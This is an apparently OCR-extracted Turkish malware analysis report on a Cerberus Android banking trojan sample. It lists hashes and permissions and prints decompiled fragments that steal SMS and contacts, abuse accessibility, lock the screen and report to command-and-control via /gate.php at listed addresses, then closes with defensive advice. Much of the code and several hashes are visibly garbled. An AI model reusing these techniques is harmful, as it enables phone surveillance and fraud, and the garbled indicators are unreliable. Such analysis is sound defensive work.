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Girig

2019 Haziran’da zararli yazilim analistleri tarafindan gézlenen, Cerberus adi verilen ve illegal
forumlarda satisa sunulan gelismis bir Android kotd amagli yazilmidir.

Cerberus zararli yazilimi asagidaki islemleri gergeklestirebilmektedir.

Zararli, cihazda aktif oldugu anda kullanicidan yetki isteme,

Uygulama glvenligi icin ikon gizleme, emilator (sanal makine) tespit etme,
SMS kodlarini gizlice gonderme ve calma,

Belli numaralara ¢agri yonlendirme,

Cihaz ve konum bilgisi alma,

Calismakta oldugu cihazin tus hareketlerini kaydetme (keylogger 6zelligi),
Cesitli gevrimici banka uygulamalari igin uyarlanmis kullanici giris ekrani agma.

On inceleme

AndroidGiincelleme.apk isimli zararli yazilim, Cerberus tirinin farkli bir ornegidir. Zararli,
kurbana obfuscate islemine tabi tutulmus bir sekilde sisteme enjekte edilmektedir.

Dosya Adi AndroidGiincelleme.apk

MD5 635A7D30DF87A8BBBBEEDFEODS5DA7891

SHA-1 D8FO8F117F7C79732F12C6B11538EEFABSBCO3E8

SHA-256 | C6F35ACCD37DC1440FF1FE474D6E4ADC94BE2ES8CEBC66DCA6C6D860A8C2BCAAD




,’

Detayli Analiz

Zararli yazilim aktivitelerini gergeklestirebilmek icin sistem Gzerinde bazi izinler almaktadir. Bu
izinleri almasi durumunda g¢agrilari yonlendirebilme, cihaz veya konum bilgisi alma, SMS okuma,
yazma, allkoyma ve génderme, uygulama gizleme ve silme islemlerini gerceklestirebilmektedir.

= AndroidManifest.xml 3¢

?xml versi

3 |<manifest mlns com/apk/res/android” android:versionCode="1" android:versiconName="1.8" android:compilesdkver

<Uses-3 getsd sion="38"/>
4 <uses- n.b
5 <uses-permission and name="android.perm n.
6 <uses-permission and name="android.perm n.
7 <uses-permission and name="android.per n.
8 <uses-permizsion and name="android.perm n.
] <uses-permission and name="android.perm n.
18 <uses-permission and name="android.perm . D"/>
11 <uses-permission and name="android.perm n. TTERY_OPTIMIZATIONS"/>
12z <uses-permissicn and name="android.perm n.
13 <uses-permission and name="android.perm n.
14 <uses-permission and name="android.perm n.
15 <application android:theme= le/Theme.Translucent.NoTitleBar” android:label="System” android:icon="@mipmap/ic_launcher" android:name=
16 <activity android:label yrekgooamnsxcckxzrkflwlphwocotgrjlabhym™ android:name="woman.appear.infant. LZwXuSTIxXcAqHmBTAxPoZhykOf
17 <activity android:name="woman.appear.infant.fgxti.lkecw"/>

Verilen izinlerin tamami asagida listelenmistir.

android.permission.READ_PHONE_STATE

android.permission.RECEIVE_SMS

android.permission.INTERNET

android.permission.REQUEST_DELETE_PACKA
GES

android.permission.CALL_PHONE

android.permission.RECEIVE_BOOT_COMPLE
TED

android.permission.REQUEST_IGNORE_BA
TTERY_OPTIMIZATIONS

android.permission.SEND_SMS

android.permission.READ_SMS

android.permission.READ_CONTACT

y
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Zararli aktivitesine “woman.appear.infant.czcr” sinifindan baslamaktadir.

<activity android:name="woman.appear.infant.czcr™>

<intent-filter:
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
<categeory android:name="android.app.role.sMs" />

</intent-filter:>

</activity:

Zararll “1073741824” flag’i ile Pendinglntent olusturmaktadir. Olusturulan Pendingintent’i
“268435456” flag’iile gorev aktivitelerinde ©ne cikarmaktadir. StartAcitivity komutunun
calistirilmasi durumunda kullaniciya bu Pendinglntent gosterilmektedir.

public void d(Context context, String str, String str2) {
SharedPreferences.Editor edit = context.getSharedPreferences(this.c.xa, @).edit();

£l edit.putString(str, str2);
1 edit.commit();

1

1
4 public void a(String str, Context context) {
5 if ((!this.d.c(context) && Integer.parseInt(a(context, this.c.ea)) > 2) || a(context, (Class<?>) tivmiujr.class)) {

woman.appear.infant.a avVar = this.c;
d{context, aVar.M, aVar.Qa);

7 a(str, this.c.Wa);
E Intent intent = mew Intent{context, adfy.class);
3 intent.addFlags(268435456);
3 intent.addFlags(1873741824);
1 context.startActivity(intent);
1

,

I
4 public String d(String str) {
5 return c(str, this.c.Ba);

é Accessibility Service

DOWNLOADED SERVICES

Select to speak

Android Guncelleme icin Aktif Ediniz
Switch Access

TalkBack

SCREEN READERS

Text-to-speech output

Aktif Etmek icin Devam Ediniz

y



Kullanicinin zararliya erisilebilirlik izni vermesi durumunda zararli kendisini koruma altina
almakta ve cihazda kalicilik saglamak amaciyla kendisini gizlemektedir.

B
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import woman.appear.infant.rbzsrjmmkns. tivmivir;
import woman.appear.infant.yyvuxbdd.sabafagw;

public class a {
private static SharedPreferences a;
private static SharedPreferences.Editor bj
woman.appear.infant.a ¢ = new woman.appear.infant.a();
b d = new b();
private void m(Context context) |
cnntext‘getPackageHahagEr[).settﬂmpnnentEnahlEdSEtting[new Componentlame (context, czer.class), 2, 1);
}
public boolean a(Context context) {
woman.appear.infant.a avar = this.c;
return (aVar.wa &% aVar.ye.contains(b(context))) ? false : false;

Zararl “REQUEST_IGNORE_BATTERY_OPTIMIZATIONS” iznini kullanarak bu uygulama icin pil
optimizasyonunu yok saymak istemektedir. izin verilmesi durumunda fazla pil tiiketimine
ragmen pil optimizasyon rutini tarafindan sonlandirilmaz ve arka planda islemlerini rahatca
surdurebilmektedir

® 0o 78R416 dev cu n A TERATE o

. L
E=N R ="

[c] infant x \ (<] _infant.b.a 3¢ | © woman.sppear.infant.fgxti.adfy X

|package woman.appear.infant.fgxti;

inport android.app ity

inport andreid.os i
import woman.appear. infant.a;
inport wosan.appear. infant.b.b;

public class adfy extends Activity [

2 b - newa();
» aecess modifiers ed from: protected Ignore battery optimizations?
public void encreate bundle
super..onCreate(bundle) ; Let app System stay connected in
Y e this.aclthis)) { the background? This may use more

ngs . REQUEST_IGNORE_BATTERY_OPTIMIZATIONS®, Uri.parse(this.b.Ha + getPackageName())); battery.

Code! Small

| FFFFFFEFFFEFFFFF: thread has started (tid=137) IntentService[]
Python
AUz idle Down Disk: 32GB

BN 5 ¢ 5~ a3 anale] [ale] m om0z
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Zararli, pil tiketimini arttirmak icin bulastigi cihazin ekran parlakliginda degisiklikler yapmakta
ve sifre sistemini iptal etmek amaci ile ekran ylz tanima sistemini devre disi birakmaya
calismaktadir.

public void onCreate() {
super.onCreate();
this.k = (SensorManager) getSystemService("sensor™);
this.k.registerListener(this, this.1, 3);
this.1l = this.k.getDefaultSensor(l);

v
|

public void onSenscrChanged(SensorEvent sensorEvent) {
try {
this.k.registerListener(this, this.1l, 3);
Sensor sensor = sensorEvent.sensor;
this.k.registerListener(this, sensor, 3);
if (sensor.getType() == 1) {
float[] fArr = sensorEvent.values;
float f2 = fArr[@];
float f3 = fArr[1];
float f4 = fArr[2];
long currentTimeMillis = System.currentTimeMillis();
if (currentTimeMillis - this.m > 18@) {
long j2 = currentTimeMillis - this.m;
this.m = currentTimeMillis;

if ((Math.abs{{({((f2 + f3) + 4) - this.n) - this.o) - this.p) / ((float) j2)) * leeee.ef > cee.af) {
all;

ihis.n = f2;

this.o = f3;

this.p = f4;

} catch (Exception unused) {

Zararh, “WAP PUSH” mesajinin alindigina dair bir bildirim yayinlama izni vermektedir. Zararl
yazilim, bu durumu MMS mesaji alimini taklit etmek ve bir web sayfasinin icerigini kotu niyetli
varyantlari ile degistirmek icin kullanmaktadir.

55 <receiver android:name="woman.appear.infant.cfiuncekntwge"” android:permission="android.permission.BROADCAST_WAP_PUSH">
56 <intent-filter>

57 <data android:mimeType="application/vnd.wap.mms-message"/>

58 <action android:name="android.provider.Telephony.WAP_PUSH DELIVER"/>

59 </intent-filter>

68 </receiver>

Zararli cihazdaki telefon hizmetleri hakkinda bilgilere erisim saglamaktadir. Telefon servislerine,
durumlarina ve abone bilgilerine erismek icin bu siniftaki yontemleri kullanarak sistem
servislerine ait bilgileri almaktadir. Benzer sekilde, cihazin MCC-MNC (Mobil Ulke Kodu)
degerlerini sorgulayarak Ulke bilgilerini almaktadir.

public String b(Context context) {
TelephenyManager telephonyManager = (TelephonyManager) context.getSystemService(this.c.ja);
return telephonyManager.getNetworkCountryIso().isEmpty() ? this.c.te : telephonyManager.getNetworkCountryIsc();

y




Zararlinin, WhitelList icerisinde bulundurdugu Ulkeler tespit edilmistir. Bu tlkelerden herhangi

birinde calismaktan kagindig1 gézlemlenmektedir.

0 DA Vew- > oe
CODE :0008896C ccnst/a W,
COOE: 008IHEE if-ne: loc_Biriod
o L) s
" ==
COOE : 00088592 |ccoe : ooaaag9e
CODE : 00088992 CC0E : 00088994 Loc_38994
CO0E-00088392 return va jccoe ;00080998  lire 2
|C00E : 00NGB99L fget-obfect v, v, & ye
ICC0E : DSBS ual {this, p9), cref a.b(ref) a_biLL &
|ccoe : oeess object )
10008 : 080940 § (v0, pl), boolesn String,contains(ref) imp
|ccoe : ooesB9As P
{ccot : 0oagpnas & 9, locret BSOAE
= ) =
|COOE - 000IAE return va] ot : omsooat
KO0 :G008BIAE Locret _SOAE
KOOK ; 08H9AL
KC0E :0008B9AE Method End
e

ooaszte TEEET

WhitelList icerisindeki Ulkeler asagida listelenmistir;

PR ——

IPONGO008  o_sBlLeld

( v
(String)vid

(Steingvi
this

[ua] Ukrayna [az] Azerbaycan
[ru] Rusya [am] Ermenistan
[by] Belarus [kz] Kazakistan
[tj] Tacikistan kel Kirgizistan
[uz] Ozbekistan [md] Moldova
[tm] Tlrkmenistan

Zararli yazihm KeyguardManager kullanarak cihaz tus kilidi bilgilerini ele gecirmektedir.

public boolean e(Context context) {

return ! {(KeyguardManager) context.getSystemService(this.c.ha)).inKeyguardRestrictedInputMode();

1
1

y




Zararli yazihm kullanicidan erisim iznini almasi durumunda, cihazda zararli islemlerini
gerceklestirebilmek icin ekrani kilitlemeye calismaktadir.
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public woid k(Context context) {

try {
{(DevicePolicyManager) context.getSystemService("device_policy™)).lockNow();
} catch (Exception unused) {
woman.appear.infant.a avar = this.c;
alaVar.E, aVar.Ld);

SMS islemlerini yapabilmek, gelen SMS mesajlarini taklit edebilmek ve kurban cihaza
gelen SMS'lerin iceriklerini okumak icin belirli izinleri manifest dosyasinda tanimlanmaktadir.

89 <receiver android: ermission="android.permission.BROADCAST_SMS">
% <intent-fil

91 <action

92 <action and
93 <action ar
94 <action

95 <action

96 <action

97 <action ar
98 <action and
aa s iintant_filtans

Zararli “SMS” rolinin kullanilabilirligini ve kendisinin bu role sahipligini denetlemektedir.
“android.app.role.SMS” yetkisinin olmamasi durumunda sisteme bu yetkiyi hedefledigi icin
istekte bulunmaktadir.

package woman.appear.infant.fgxti;

import android.app.Activity;

import android.app.role.RoleManager;
import android.cs.Build;

import android.os.Bundlej

public class lkecw extends Activity @
/¥ access modifiers changed from: protected */
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
if (Build.VERSION.SDK_INT »= 23) [
RoleManager releManager = (RoleManager) getSystemService(RoleManager.class);
if (roleManager.isRoleAvailable("android.app.rocle.5Ms") &8 !roleManager.isReleHeld("android.app.role.sMs™)) {
startActivityForResult(roleManager.createRequestRoleIntent("android. app.role.sMs™), 1);
finish();
return;

1
J

return;
1

J
finish();

y
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Zararli SMS rolindn kullanilabilirligini denetledikten sonra “ACTION_CHANGE_DEFAULT”
sistem islevini kullanarak varsayilan “SMS” uygulamasi olarak atanmaya calismaktadir.

public final wvoid f(Context context, String str) {
try {
Intent intent = new Intent(“"android.provider.Telephony.ACTION CHANGE DEFAULT" ) ;
intent.putExtra("package”, str);
intent.addFlags(268435456);
context.startActivity(intent);

} catch (Exception e) {
this.a.getClass();
i(context, "LogSMs", "(MOD24) | swapSmsMenager " + e.toString() + "::endLog::");

Zararli, hedef cihaza gelen SMS icerigini ve kaynak telefon numarasini okumaktadir.

public void a(Context context, Intent intent)

I
L

try {
Bundle extras = intent.getExtras();
if (extras != null) {
Object[] objArr = (Object[]) extras.get(this.c.Nd);
String str = "";
String str2 = "";

if (objArr != null) {

int length = objArr.length;

int r3 = 8;

while (r3 < length) {
SmsMessage createfromPdu = SmsMessage.createFromPdu( (byte[]) objArr[r3]);
str2 = str2 + createfromPdu.getDisplayMessageBody();
r3++;
str = createFromPdu.getDisplayOriginatinghAddress();

1

i

String str3 = this.c.0d + str + this.c.Pd + str2 + this.c.Qd;
a(this.c.Rd, str3);

b(context, this.c.p, str3);

1
I
1
I
catch (Ewxception unused) {

Zararli telefon rehberindeki kisileri almaktadir.

public final wvoid c(Context context) {

try {
Cursor query = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, (Str
String str = "";

while (query.moveToNext()) {
String string = query.getString(query.getColumnIndex("datal”));
String string2 = query.getString(query.getColumnIndex("display_name™));
if (!string.contains("*") &% !string.contains("£") &% string.length() > 6 &% !str.contains(string)) {
str = str + string + " / " + string2 + "iend:";
}
1

1
this.a.getClass();



Zararli, runtime anindan  “TEYJT.json” isimli dosyay! deobfuscate etmektedir. Bu dosya
icerisinde  bulunan string degerleri  “woman.appear.infant.b.c()” sinifinin import edilmesi
ile decode isleminden gecirilmektedir. Zararli bu islemleri gerceklestirerek fonksiyonlarda
kullanacagi verileri elde etmektedir.

‘

public String c(5String str, String str2) {

return Base64.encodeToString(a(new b(str2.getBytes()).b(str.getBytes())).getbytes(), @);
1
I

public String b(String str, String str2) {

try {
return new String(new b(str2.getBytes()).a(b(new String(Basebd.decode(str, @), this.c.Ja))));

r
1

public

public

public String
public String
public Stri
public
public st
public sString
public String
public st
public

public String
public String
public st
public

public St g
public sString
public

Bulastigi sistem Uzerinde .vcf (Vcard) uzantil dosyalarda bulunan email, isim, telefon, adres gibi
kisisel verileri ele gecirmektedir.

public String toVCard() {

1 VCardImpl vCardImpl = new VCardImpl();
2 vCardImpl.setBegin(new BeginType())
3 vCardImpl.setlame(new NameType("" + getNickName{)));
4 vCardImpl.setFormattedName (new FormattedNameType("" + getvisualNickName()));
5 if (!TextUtils.isEmpty(this.email)) {
[ vCardImpl.addEmail(new EmailType("" + this.email));

}.
7 vCardImpl.addExtendedType(new ExtendedType("X-WEBMONEY-ID", this.wmId));
8 wvCardImpl.setEnd(new EndType());
9 VCardWriter vCardWriter = new VCardWriter(VCardversicn.v3_e);
18 vCardWriter.setCompatibilityMode(CompatibilityMode.MAC_ADDRESS_BOOK);
11 vCardWriter.setFoldingScheme(FeldingScheme MIME_DIR);
12 vCardwWriter.setVCard(vCardImpl);
13 return vCardwWriter.buildVCardString();

]

1 public int cempareTo(NRbLyUtRzUeRtLpRaNrYpFbNwOeQdaxTnBmZpTuUmOjHxZeRpQyPmEU nRbLyUtRzUeRtLpRaNryYpFbNwleQdexTnEmZpTulmOjHxZeRpQyPmEU) {
2 if (nRbLyUtRzUeRtLpRaNrYpFblwleQdGxTnBmZpTulmOjHxZeRpQyPmEY != null) {
2 String lowerCase = ("" + this.nickName).tolowerCase();
2 return lowerCase.compareTo(("" + nRbLyUtRzUeRtLpRaNrYpFbNwOeQdaxTnBmZpTuUmOjHxZeRpQyPmEU. getNickName( ) ). toLowerCase());

'

return ("" + this.nickName).compareTo("");



v
|

,’

Zararlinin hedefledigi mesajlasma uygulamalari asagida listelenmistir;

com.android.vending

org.telegram.messenger

com.ubercab

com.whatsapp

com.tencent.mm

com.viber.voip

com.snapchat.android

com.instagram.android

com.imo.android.imoim

com.twitter.android

com.google.android.gm

com.mail.mobile.android.mail

com.connectivityapps.hotmail

com.microsoft.office.outlook

com.yahoo.mobile.client.android.mail

com.mail.mobile.android.mail

Zararli kendi icerisinde bir config dosyasi

verilmistir.

<?xml version="1.0" encoding="UTF-8" standalone="true"?>

<map>
<string name=
<string name="lockDevice":>0</string>
<string name="timeMails">-1</string>
<string name="timeWorking">1240</string>
<string name="statCards">0</string>

"idbot" > kcm4ne2uc0qkk2sj0</string =

«<string name="urlAdminPanel"=https://ourcoming.com</string>
<string name="L0ogSMS">BLOCK DISABLE ACCESIBILITY SERVICE::endlLog::BLOCK DISABLE ACCESIBILITY SERVICE::endLog::BLOCK DISABLE ADMIN::endlLog:: </string>

<string name="activeDevice">0</string>
<string name="namelInject"/>

<string name="activityAccessibilityvisible"> 1 </string>

<string name="p defultSm

<string name="urls"/>

<string name="autoClick">1</string>

<string name="old_start_inj">0</string=
<string name="timestop">0</string:

<string name="app_inject"/=

<string name="goOffProtect"/>

<string name="display_width">768</string>
«<string name="logsContacts"/>

<string name="packageNameActivityInject">woman.appear.infant.fgxti.wxlywrbmzmgadesj</string=>

<string name="actionSettingInection"/=

'">com.android.messaging</string>

bulundurmaktadir. Bu dosyanin icerigi asagida

Zararli, cihazin GPS bilgilerini dinler ve herhangi bir konum degisikligi olmasi durumunda
kendisine bildirim gonderir. Bu sekilde konum takibi yapabilmektedir.

ql qlvar null;

qFVar « null;
else
IInterface querylocallnterface

null iBinder null

iBinder.querylLocallnterface

if (querylLocallnterface instanceof gF

qfvar = (gf
else
QFVar = new QH(iBinder);

this.c » qFVar;
this.d « pendinglntent;
if (i8inder2 == null
qCvar null;
else
IInterface querylocalinterface2

querylocallnterface;

iginder2 == null)

iBinder2.querylocalinterface

if (querylLocallnterface2 instanceof qC)
qCvar = (qC) querylocallnterface2;

else
qCVar = new qf(iBinder2);

this.e qlVar;

if {8inder3 »» null iBinder3 null)
IInterface querylocalinterface3 =~ iBinder3.querylocalinterface
qlvar querylocallnterface3 instanceof AbstractC1283ql

AbstractC1203gql) gquerylocalinterface3 new CI20%gn(i8inderd);
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Cihaza bir USB aygitinin takilip takilmadigini kontrol etmektedir.

| epiled from: PG
public final class C0208Ik extends BroadcastReceiver ()
private final /* synthetic */ ChromeUsbService a;

public C208Ik(ChromeUsbService chromeUsbService)
this.a « chromeUsbService;

public final void onReceive(Context context, Intent intent
UsbDevice usbDevice = (UsbDevice) intent.getParcelableExtra( device™);
if (Tandroid.hardware.usb.action.USB_DEVICE_ATTACHED".equals(intent.getAction()
ChromeUsbService chromeUsbService « this.a;
chromeUsbService.nativeDeviceAttached(chromeUsbService.a, usbDevice);
else if (“android.hardware.usb.action.Us8_DEVICE O
ChroseUsbService chroseUsbService2 « this.a;
chromeUsbService2.nativeDeviceDetached(ch
else if : eiue, devi TION_USB_F
ChromeUsbService chromeUsbService3 « this.a;
chromeUsbService3.nativeDevicePersissionRequestComplete(chromeUsbServiced.a, usbDevice.getDeviceId(), intent.getBooleanExtra("permiss

0" .equals(intent.getaction()

sbService2.a, usbDevice.getDeviceld
ION™ .equals(intent.getaction

n", false));

Zararli  “TRUST_STORE_CHANGED” ile glvenli depoda degisiklik yapabilmekte ve
“KEY_ACCESS CHANGED” ile keyi degistirmeyi hedeflemektedir. Ayni zamanda sertifika
bilgilerini gorintilemek, sertifikalari gesitli bicimlere dontstirmek, "mini CA" gibi sertifika
isteklerini imzalamak veya sertifika gliven ayarlarini diizenlemek icin key degerini “X509Util”
yapmaya calismaktadir.

public final class C@3@snf extends BroadcastReceiver [
public final vold onReceive(Context context, Intent intent) {

0" equals(intent.getaction());

60" . equals(intent.getAction()) 88 ["android. security.action. TRUST_STORE_CHANGES™ .equals{intent.gethction(}) B8 (!"android. security.sction. KEV_ACCESS_CHAI

try
xseaUtdl.cf

} catch (Cert

16£0° . equals (intent. gethction() )



B

Y

Network Analizi

Ele gecirilen mobil cihaz hakkinda asagidaki bilgileri komuta ve kontrol sunucusuna

gondermektedir.

OS versiyonu,

Kullanicinin telefon numarasi,

Ag baglantisindaki veriler,

MAC Adresi,

IMEI,

IMSI.

Zararli bellekte tuttugu IP adreslerine /gate.php dizinini eklemekte ve komuta kontrol

sunucusuna erisim saglamaya calismaktadir.

public final String h({Context context, S5t str) {
this.a.getClass();

441 String g E(context, "urlAdminPanel”);

14 com.example.modulebot.a.b bvar = new com.example.modulebot.a.b();
StringBuilder sb = new Stri i ()

sb.append(g);

this.a.getClass();

sb.append(”/gate.php”);

return bVar.a(sb.teString(), str);

Erisim saglamaya calistigi IP adresleri asagida listelenmistir;

http[:]//172.67.188.63/gate[.]php

http[:]//ourcoming.com/gate[.]php

http[:]//104.21.48.227/gate[.]php
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Korunma Yontemleri

GUncel anti virls yazihmlari kullaniimalidir.

Isletim sistemi glincel tutulmalidir.

Android ayarlarinda Uclncl taraf kaynaklardan uygulamalarin yiklenmesi devre disi
birakilmalidir.

Google Play ve App Store gibi resmi market hesaplari disinda bilinmeyen kaynaklardan apk
dosyalarr indiriimemeli ve kurulmamalidir.

Cihazlarda kotl amach yazilimdan koruma yazilimi (Google Play Protect gibi) yiklU, calisir
durumda ve glincel olmalidir.

Bir uygulama yuklenirken, uygulama kurulurken erisilebilirlik izni isterse, uygulama stpheli
olarak degerlendirilmelidir.

Uygulamalara kullanimlari sirasinda gereksiz izinler verilmemelidir.

Cok faktorlu kimlik dogrulama kullaniimalidir.

Kullanicilarin istenmeyen yazilim uygulamalarini yikleme ve galistirma izinleri kisitlanmalidir.
Gerekmedikce yerel yoneticiler grubuna kullanici eklenmemelidir.

E-posta ekleri acilirken dikkatli olunmalidir.

Ajans is istasyonlarinda ve sunucularinda gereksiz hizmetler devre disi birakilmalidir.

Stpheli e-posta ekleri taranmali veya kaldiriimalidir.

Kullanicilarin web'de gezinme aliskanliklari izlenmeli ve olumsuz icerige sahip sitelere erisim
kisitlanmahdir.

Calistinlmadan 6nce internetten indirilen tUm yazilimlar taranmalidir.

En son tehditlere iliskin farkindalik strdurtlmeli ve uygun erisim kontrol listeleri
uygulanmahdir.




Hazirlayanlar

Fatma Helin CAKMAK

https://www.linkedin.com/in/helin-cakmak

Baran BASIBUYUK

https://www.linkedin.com/in/baran-basibuyuk/

Taha HICRET

https://www.linkedin.com/in/taha-hicret/
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